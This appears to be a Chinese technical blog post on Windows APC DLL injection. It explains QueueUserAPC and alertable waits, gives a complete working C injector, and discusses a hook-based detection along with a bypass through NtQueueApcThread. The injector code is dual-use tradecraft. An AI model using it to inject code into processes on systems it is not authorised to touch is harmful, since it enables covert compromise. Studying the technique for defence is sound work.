之前有篇远程线程注入,这里介绍另一个使用广泛的注入方式--APC注入,但是有一个比较明显的缺点。由于APC是一个监听唤起的过程,若程序没有允许APC的执行则无法进行APC注入
APC (异步过程调用),主要用于堵塞情况下的主发式终止堵塞,从而激活堵塞的线程去执行其他任务,随后继续进入堵塞状态,由此提高工作效率。
可激活的堵塞函数
WaitForSingleObjectEx
WaitForMultipleObjectsEx
SignalObjectAndWait
SleepEx
MsgWaitForSingleObjectEx
MsgWaitForMultipleObjectsEx
等
最后一个参数都是bAlertable,代表着此函数是否是警示状态(可被APC唤醒)。一旦被APC激活会立即返回,返回值为WAIT_IO_COMPLETION 0x000000C0L
由此可以通过向目标进程添加APC例程执行LoadLibrary加载Dll进行注入。
投递APC的函数
WINBASEAPI
DWORD
WINAPI
QueueUserAPC(
_In_ PAPCFUNC pfnAPC, //目标进程函数地址
_In_ HANDLE hThread, //线程句柄
_In_ ULONG_PTR dwData //参数
);
WINBASEAPI
DWORD
WINAPI
QueueUserAPC(
_In_ PAPCFUNC pfnAPC, //目标进程函数地址
_In_ HANDLE hThread, //线程句柄
_In_ ULONG_PTR dwData //参数
);
主要流程:
1. 打开线程对象
2. 打开线程对象的进程对象
3. 向目标进程分配一段可读可写内存
4. 写入DLL全路径
5. 调用QueueUserAPC 设置函数地址为LoadLibrary,参数为那段分配的内存
通过OpenThread获得线程句柄。QueueUserAPC函数需要THREAD_SET_CONTEXT权限。
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT, FALSE, dwThreadId);
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT, FALSE, dwThreadId);
GetProcessIdOfThread可获得线程所属进程ID
DWORD dwProcessId = GetProcessIdOfThread(hThread);
DWORD dwProcessId = GetProcessIdOfThread(hThread);
打开进程权限需要VM系列权限,因为需要分配、写内存等操作。
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwProcessId);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwProcessId);
向目标线程投递APC例程
QueueUserAPC((PAPCFUNC)lpLoadLibrary, hThread, pRemoteAddr);
QueueUserAPC((PAPCFUNC)lpLoadLibrary, hThread, pRemoteAddr);
随后当对方线程调用可警示函数并且允许了APC后DLL将注入成功
演示注入自身,随后通过调用SleepEx()进入可警示状态,注入成功。[完整代码见文章末尾]
对于通用性的QueueUserAPC DLL注入可以通过一种方法进行缓解
对QueueUserAPC 逆向发现其是直接对NtQueueApcThread的调用,但是参数却移了位置。
ntdll_8作为了回调函数,而原先的回调函数却变成了ntdll_8函数的第一个参数。
转到函数ntdll_8(编号8的函数)代码,发现其实际上还是将参数1作为函数进行调用。
因此可以对RtlDispatchAPC进行hook检测第一个参数是否为LoadLibrary来阻止远程调用LoadLibrary来进行的DLL注入。
攻防无绝对,绕过方式也十分明显,我们可以直接调用NtQueueApcThread将回调函数指针参数直接设置为LoadLibrary进行DLL注入,此时APC将不会经过RtlDispatchAPC函数转而直接调用LoadLibrary函数。
但是所有的APC分发又有一个必经之路:KiUserApcDispatcher,此时下图rax里面存放的就是NtQueueApcThread参数中的回调函数,我们仍然可以通过Hook这个函数来阻止直接调用NtQueueApcThread进行的LoadLibrary。
完整代码:
int main()
{
DWORD dwThreadId;
printf("Input target thread:");
scanf_s("%d", &dwThreadId);
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT, FALSE, dwThreadId);
if (!hThread)
{
printf("无法打开线程n");
return 0;
}
DWORD dwProcessId = GetProcessIdOfThread(hThread);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwProcessId);
if (!hProcess)
{
printf("无法打开进程!n");
return 0;
}
PVOID pRemoteAddr = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
if (!pRemoteAddr)
{
printf("无法分配内存!n");
return 0;
}
SIZE_T wrSize;
if (!WriteProcessMemory(hProcess, pRemoteAddr, DLL_NAME, sizeof(DLL_NAME), &wrSize))
{
printf("无法写入内存!n");
return 0;
}
HMODULE hMod = LoadLibrary(_T("kernel32.dll"));
if (!hMod)
return 0;
PVOID lpLoadLibrary = GetProcAddress(hMod, "LoadLibraryA");
QueueUserAPC((PAPCFUNC)lpLoadLibrary, hThread, pRemoteAddr);
SleepEx(1000, TRUE);
return 0;
}
本文始发于微信公众号(锋刃科技):DLL注入--APC注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论